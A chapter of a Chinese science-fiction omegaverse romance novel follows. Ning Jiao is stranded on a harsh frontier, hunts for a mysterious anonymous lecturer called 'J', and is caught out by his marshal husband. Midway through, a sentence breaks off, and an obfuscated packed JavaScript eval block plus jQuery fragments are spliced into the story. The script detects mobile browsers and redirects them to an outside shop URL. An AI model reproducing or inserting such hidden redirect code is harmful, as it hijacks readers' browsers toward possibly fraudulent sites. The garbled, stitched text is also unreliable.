宁皎气鼓鼓地回到了“港湾”号上。刚回到房间,就翻出了行李压缩胶囊,开始收拾自己的东西。
人工智能土豆的声音适时响起:“hello宁宝,看你在收拾行李呢,是打算搬去老公家,开启新生活了吗?”
宁皎的脸色顿时臭了:“我是要搬走。”
“那可不是件容易事,据我观察,你现在所处的位置是焚化炉星的星际边线,这里每日的昼夜温差足足有50℃,天气变化极快,极其不宜居,人类只有在高等级星船上才能生存,而且……”
“行了你别念叨了。快点帮我买张飞回中央塔的船票,要头等舱,最快的。”
宁皎一件一件往胶囊里塞着自己的衣服、模型、名贵书刊,还有一大堆奢侈品。
又看了眼外面暗红色的天空。上午还是晴空万里,现在却纷纷扬扬,下起雪来了。
什么鬼地方。
他一刻也不想多待了。
土豆在智网上搜寻着他要的船票,过了一会儿,小声小气地说:“宁宝,船票没了喔。”
说着,一连弹出了几个新闻报道。
大意是,近日由于军事戒严,边线与中央塔之间的绝大多数星船航线都已切断。如有居民有通行必要,请选择星铁,或者向军方申报需求。
宁皎抓狂了:“好端端的戒严什么?!”
土豆扭捏道:“看新闻上说,是因为元帅大人发动了‘屠夫’号,估计是有重要的军事活动要进行。”
宁皎愣了一下。
他想起来了。晏闻捷发动“屠夫”号的原因。
……根本就不是什么军事活动,只是为了找他好不好!
这算不算搬起石头砸自己的脚?
宁皎欲哭无泪:“那星铁的票呢?”
“星铁票是有啦。不过咱们的位置距离乘车点还很远呢。一般的摆渡班号,应该进不来边线的。”
想也知道了,这地方天气恶劣,除了军队,还有那些受到军队保护的家属,谁还会往这儿跑。
宁皎两眼一抹黑:“所以我走不了了?”
“是的哦,宁宝~不过,你可以住在屠夫号上嘛。元帅的战舰多威风、多安全哇,下次去的时候,能不能带上小土豆我呀?”
小机器人很狗腿地过来扒宁皎的裤腿,但被他残忍地无视了。
安全个屁。宁皎心想。
他就不该来这里。
康桑坦星系群星毕集,焚化炉星最多算是乡下,边线就是乡下中的乡下了。他以前住在焚化炉星的中央塔,还算可以接受,但在来了边线,才知道什么叫人间炼狱。
假如,假如不是他收到“J”出现在边线的小道消息……
宁皎的目光落在了房间墙体中嵌入的光屏上。
随后,熟练地操作屏幕,点开了一个网址。
网页风格很简约,全部都是高深的康桑坦星系通用语,色调是黑白灰,线条充满冷感。
这个网页,严格来说,是只有少部分科学家和顶尖学者才会使用的检索网站。不过,近年来为了一些科普目的,也会刊登一些最前端的科研成果。
而为了讲解这些成果、引发更多讨论,网址最近专门请来了一位匿名讲师。
他的名字,就是“J”。
J的真实身份,网站没有透露。但想也知道,能够在这种网站上,给那么多天才授课,肯定是极其有名望的学者。
一次偶然的机会,宁皎去听了一堂课。而就这一次,他彻底被J的学识和谈吐俘获了。
对方的声音经过了处理,但是听上去,不会超过35岁。可就他掌握的知识来说,却足以碾压一众年迈的老科学家。
最重要的是,他很谦逊。尽管一开始有人听他声音年轻,多少会有些瞧不起,但他不管对多么难缠的学术刺头,都始终彬彬有礼,保持尊重。
……总之,是一位稳重、耐心、年轻有为的天才学者。
任何人在听过他精彩绝伦的学术讲座后,都会被他的才学折服。
当然,宁皎也不例外。
只是,除了这些之外,他对J一无所知。本来以为可能一辈子都只能在线上听听他讲课,谁知道机缘巧合之下,打探到了小道消息。
据说,J是军方的人。而且,就在驻扎军内工作,从事系外生物研究。
宁皎完全相信这个消息。因为第一,J的讲座和学术研究都是系外生物方向的;第二,只有涉军涉政,才可能被如此严格保密;至于第三……
第三,是宁皎的一个小秘密。
他总觉得,J虽然平日里的风格冷静从容,但是在那些温和的表述之下,他对于学术研究却是非常激进、极具推翻和反叛意味的。
甚至于,有一种冷血而强劲的攻击性。
而这种风格,很大可能性属于一个军人。
所以,宁皎相信了这条消息,抱着也许可能见到J的小小期许,来到了这里。
可是,驻扎军的人太多了,边线也实在太大了。
他真的有可能见到J吗?
更何况,就算他和J已经面对面见过了,他估计也认不出来那个人。
没准对方现实里满脸长疔,是个身高160cm的大胖子。
但,也有可能……
宁皎的脑海中不自觉地浮现出了一个人影轮廓。一个高挑匀称、肤色冷白的学者形象,戴一副眼镜,穿着军队文职人员的制服,清俊而儒雅……
土豆不知道什么时候又蹭到了他脚边:“宁宝,你的脸好红哦。”
宁皎有种被戳穿的窘迫:“你看错了啦。”
他赶忙背过身去,在心里偷偷呵斥自己。
怎么能以貌取人?他欣赏的是J的才学和人品,又不是一张脸。
土豆又问:“咱们还回不回中央塔?”
宁皎沉思片刻,忽然斩钉截铁道:“不回了。”
他好不容易来边线一次,还没见到J,怎么能轻易半途而废?
至少,要先试试找到他才行。
刚刚下定决心,门口便传来了敲门声。
“小宁,你在里面吗?”
……来的人名叫苏昭,是宁皎从前在中央塔结识的朋友。
他也是个omega,27岁,枣红色头发,细长眼型,不算多么漂亮,但很有风韵和气度。
苏昭一进门便倒在了宁皎房间的沙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332906|199192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发上,宁皎闻见他满身的酒味,问:“你喝酒了?”
苏昭比了个手势:“小酌啦。”
“得了吧,我看是牛饮。”宁皎费力地把他从沙发上脱下来,四仰八叉地安置到床上,累得气喘吁吁,“……边线还有喝酒的地方?军规不是不让饮酒吗?”
“想找……总有的嘛。驻扎军那么大……怎么可能是铁板一块?总有不听你老公话的。”
苏昭酒量确实不是盖的,喝这么多,居然还能连贯地说话。宁皎皱起眉,“什么我老公,你老公。”
苏昭快笑死了:“你小学生啊?我结婚了好不好?再说,我可高攀不起元帅他老人家。”
宁皎哼了一声,果然很小学生地说:“那他也高攀不上我。”
“行了,高贵的小王子殿下,能不能给我倒点热水?你苏哥哥头好晕哦。”
宁皎命令土豆:“土豆,去倒水。”
土豆的屏幕上冒出两个哭唧唧蛋花眼,嗻了一声,去了。
宁皎把苏昭那条闪瞎眼的外套和超短小抹胸给扒了。如果不是亲眼所见,他这辈子也想不到,这会是一个结婚四年、儿子都3岁了的omega。
从他的衣兜里掉出来了一张名片。上面印着一个冷脸肌肉男,还有一个地址。
“「银」的酒馆……”
宁皎喃喃,看样子,这就是苏昭去喝酒的地方了。
“我可不是单纯去喝酒的,这里面最出名的,其实是八卦和小道消息……天啊,你都不知道,我听到了多少劲爆新闻……”
苏昭醉醺醺地念叨,宁皎给他盖了条毯子,若有所思地沉思起来。
他要探寻J的真实身份,直接在驻扎军里摸索,难度太大了,还有可能被晏闻捷发觉。
但如果,是通过这种地下“情报机构”,想必容易得多。
这样想着,宁皎悄悄凑近苏昭。
“阿昭,下次你去的时候,带上我怎么样?”
苏昭沉默了一会儿,笑起来。
“……不行。”
宁皎不干了:“为什么?”
“当然是因为……那里面很乱,不适合你。”
苏昭拖着腔调说,“毕竟,你还是个没被标记过的小处女啊。”
宁皎瞬间耳根爆红,炸毛了:“你说谁是——”
他实在讲不出那个字眼,只能生硬地转了话题,“哼,我成年了,不用你带我,我自己去。”
苏昭嗯了一声,好半天没吭气。
宁皎握着那张名片愣了一会儿,思考自己是搭星铁好,还是等摆渡班号……
忽然感觉不对劲,一下子掀开毛毯,发现苏昭在给什么人发通讯。
宁皎赶紧按住他:“你发给谁呢?”
苏昭满眼醉意,却一字一顿,很严肃地说:“你家长。”
哽了一下,“不是。你老公。”
“你疯了吧……?!”
宁皎气死了,怎么还带打小报告的?
可还没等他夺过苏昭手里的通讯器,门外便传来“笃笃”两声。
紧接着,熟悉的磁性低音随之响起。
“皎皎。”
“开门。”